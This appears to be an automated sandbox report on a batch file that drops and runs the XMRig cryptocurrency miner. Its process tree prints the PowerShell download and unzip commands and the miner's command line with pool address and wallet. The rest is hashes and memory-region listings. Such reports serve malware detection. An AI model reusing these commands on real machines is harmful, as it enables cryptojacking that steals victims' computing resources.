Resubmissions

Analysis

  • max time kernel
    1796s
  • max time network
    1799s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07/01/2024, 08:13

General

  • Target

    tesy - Copy (9).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (9).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:860
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4476
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1120
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:4468

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    2KB

    MD5

    2f57fde6b33e89a63cf0dfdd6e60a351

    SHA1

    445bf1b07223a04f8a159581a3d37d630273010f

    SHA256

    3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

    SHA512

    42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    c20ac38ae3022e305b8752804aadf486

    SHA1

    4c144d6cfafb5c37ab4810ff3c1744df81493cdb

    SHA256

    03cba7e903a418a3966af1dc0debfb5fcfb2ac6d372ec48cb1b93c23e0fd1caf

    SHA512

    c9def9e5cd09d19b8b47a3f4c61893da715a6ba4b9933c885386d0425ee4ccc30d75eac1097511619d4e6259a46581f803fb38f78a15339391e4e78b0b6153e0

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1mndywzx.dmv.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    2.5MB

    MD5

    ed81f43636a3c319694c41d7d9103117

    SHA1

    96037024bd39961dbdcca3153e9cbce87744f2d8

    SHA256

    84762ef6efbf6be23a602a4c9d6522faee99d1a8fd373bc8fd2537adae68f4d0

    SHA512

    1cb2ec1a0abca26123390ba4cbb676c0670dd8fe0d7abe35856e856f5c3b2749b6519956d8d7b58e001854d6827f9e226893d542e6b034c1cde3c9e5623bd053

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    7.8MB

    MD5

    96809c1a21ecaacd3e6a64802e345b73

    SHA1

    4255e6b1a8aa6d0dee25cce5b88b2fc5ca39d2d8

    SHA256

    c1b134b838ac93449ffac5eb612c6dee8bf4a8a072af0b905f7828c9e11f2ae4

    SHA512

    2476f95357d1990cbea2181ec24d87773c580257ed0b3f6ffda9636d91f695e0e83a5847ec1cc9bf62273e6dc3e9662483e7ad92fc08e3893c05a1f90c3bcc27

  • memory/1120-35-0x0000029AFC250000-0x0000029AFC25A000-memory.dmp

    Filesize

    40KB

  • memory/1120-30-0x00007FFDEF780000-0x00007FFDF0241000-memory.dmp

    Filesize

    10.8MB

  • memory/1120-31-0x0000029AFC1E0000-0x0000029AFC1F0000-memory.dmp

    Filesize

    64KB

  • memory/1120-32-0x0000029AFC1E0000-0x0000029AFC1F0000-memory.dmp

    Filesize

    64KB

  • memory/1120-58-0x00007FFDEF780000-0x00007FFDF0241000-memory.dmp

    Filesize

    10.8MB

  • memory/1120-34-0x0000029AFC260000-0x0000029AFC272000-memory.dmp

    Filesize

    72KB

  • memory/4468-91-0x00007FF6E94E0000-0x00007FF6E9FE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4468-97-0x00007FF6E94E0000-0x00007FF6E9FE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4468-129-0x00007FF6E94E0000-0x00007FF6E9FE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4468-61-0x0000016B5AA20000-0x0000016B5AA40000-memory.dmp

    Filesize

    128KB

  • memory/4468-62-0x0000016B5AB70000-0x0000016B5ABB0000-memory.dmp

    Filesize

    256KB

  • memory/4468-63-0x00007FF6E94E0000-0x00007FF6E9FE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4468-64-0x0000016B5ABD0000-0x0000016B5ABF0000-memory.dmp

    Filesize

    128KB

  • memory/4468-65-0x0000016B5ABF0000-0x0000016B5AC10000-memory.dmp

    Filesize

    128KB

  • memory/4468-66-0x00007FF6E94E0000-0x00007FF6E9FE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4468-67-0x00007FF6E94E0000-0x00007FF6E9FE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4468-68-0x0000016B5ABD0000-0x0000016B5ABF0000-memory.dmp

    Filesize

    128KB

  • memory/4468-69-0x00007FF6E94E0000-0x00007FF6E9FE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4468-70-0x0000016B5ABF0000-0x0000016B5AC10000-memory.dmp

    Filesize

    128KB

  • memory/4468-71-0x00007FF6E94E0000-0x00007FF6E9FE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4468-72-0x00007FF6E94E0000-0x00007FF6E9FE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4468-73-0x00007FF6E94E0000-0x00007FF6E9FE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4468-74-0x00007FF6E94E0000-0x00007FF6E9FE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4468-75-0x00007FF6E94E0000-0x00007FF6E9FE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4468-76-0x00007FF6E94E0000-0x00007FF6E9FE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4468-77-0x00007FF6E94E0000-0x00007FF6E9FE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4468-78-0x00007FF6E94E0000-0x00007FF6E9FE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4468-79-0x00007FF6E94E0000-0x00007FF6E9FE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4468-80-0x00007FF6E94E0000-0x00007FF6E9FE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4468-81-0x00007FF6E94E0000-0x00007FF6E9FE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4468-82-0x00007FF6E94E0000-0x00007FF6E9FE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4468-83-0x00007FF6E94E0000-0x00007FF6E9FE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4468-84-0x00007FF6E94E0000-0x00007FF6E9FE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4468-85-0x00007FF6E94E0000-0x00007FF6E9FE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4468-86-0x00007FF6E94E0000-0x00007FF6E9FE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4468-87-0x00007FF6E94E0000-0x00007FF6E9FE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4468-88-0x00007FF6E94E0000-0x00007FF6E9FE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4468-89-0x00007FF6E94E0000-0x00007FF6E9FE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4468-90-0x00007FF6E94E0000-0x00007FF6E9FE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4468-128-0x00007FF6E94E0000-0x00007FF6E9FE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4468-92-0x00007FF6E94E0000-0x00007FF6E9FE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4468-93-0x00007FF6E94E0000-0x00007FF6E9FE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4468-94-0x00007FF6E94E0000-0x00007FF6E9FE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4468-95-0x00007FF6E94E0000-0x00007FF6E9FE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4468-96-0x00007FF6E94E0000-0x00007FF6E9FE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4468-127-0x00007FF6E94E0000-0x00007FF6E9FE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4468-98-0x00007FF6E94E0000-0x00007FF6E9FE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4468-99-0x00007FF6E94E0000-0x00007FF6E9FE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4468-100-0x00007FF6E94E0000-0x00007FF6E9FE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4468-101-0x00007FF6E94E0000-0x00007FF6E9FE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4468-102-0x00007FF6E94E0000-0x00007FF6E9FE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4468-103-0x00007FF6E94E0000-0x00007FF6E9FE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4468-104-0x00007FF6E94E0000-0x00007FF6E9FE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4468-105-0x00007FF6E94E0000-0x00007FF6E9FE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4468-106-0x00007FF6E94E0000-0x00007FF6E9FE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4468-107-0x00007FF6E94E0000-0x00007FF6E9FE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4468-108-0x00007FF6E94E0000-0x00007FF6E9FE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4468-109-0x00007FF6E94E0000-0x00007FF6E9FE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4468-110-0x00007FF6E94E0000-0x00007FF6E9FE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4468-111-0x00007FF6E94E0000-0x00007FF6E9FE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4468-112-0x00007FF6E94E0000-0x00007FF6E9FE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4468-113-0x00007FF6E94E0000-0x00007FF6E9FE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4468-114-0x00007FF6E94E0000-0x00007FF6E9FE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4468-115-0x00007FF6E94E0000-0x00007FF6E9FE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4468-116-0x00007FF6E94E0000-0x00007FF6E9FE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4468-117-0x00007FF6E94E0000-0x00007FF6E9FE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4468-118-0x00007FF6E94E0000-0x00007FF6E9FE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4468-119-0x00007FF6E94E0000-0x00007FF6E9FE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4468-120-0x00007FF6E94E0000-0x00007FF6E9FE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4468-121-0x00007FF6E94E0000-0x00007FF6E9FE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4468-122-0x00007FF6E94E0000-0x00007FF6E9FE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4468-123-0x00007FF6E94E0000-0x00007FF6E9FE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4468-124-0x00007FF6E94E0000-0x00007FF6E9FE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4468-125-0x00007FF6E94E0000-0x00007FF6E9FE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4468-126-0x00007FF6E94E0000-0x00007FF6E9FE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4476-12-0x000001CAEB690000-0x000001CAEB6A0000-memory.dmp

    Filesize

    64KB

  • memory/4476-5-0x000001CAEB660000-0x000001CAEB682000-memory.dmp

    Filesize

    136KB

  • memory/4476-10-0x00007FFDEF460000-0x00007FFDEFF21000-memory.dmp

    Filesize

    10.8MB

  • memory/4476-11-0x000001CAEB690000-0x000001CAEB6A0000-memory.dmp

    Filesize

    64KB

  • memory/4476-13-0x00007FFDEF460000-0x00007FFDEFF21000-memory.dmp

    Filesize

    10.8MB

  • memory/4476-14-0x000001CAEB690000-0x000001CAEB6A0000-memory.dmp

    Filesize

    64KB

  • memory/4476-15-0x000001CAEB690000-0x000001CAEB6A0000-memory.dmp

    Filesize

    64KB

  • memory/4476-19-0x00007FFDEF460000-0x00007FFDEFF21000-memory.dmp

    Filesize

    10.8MB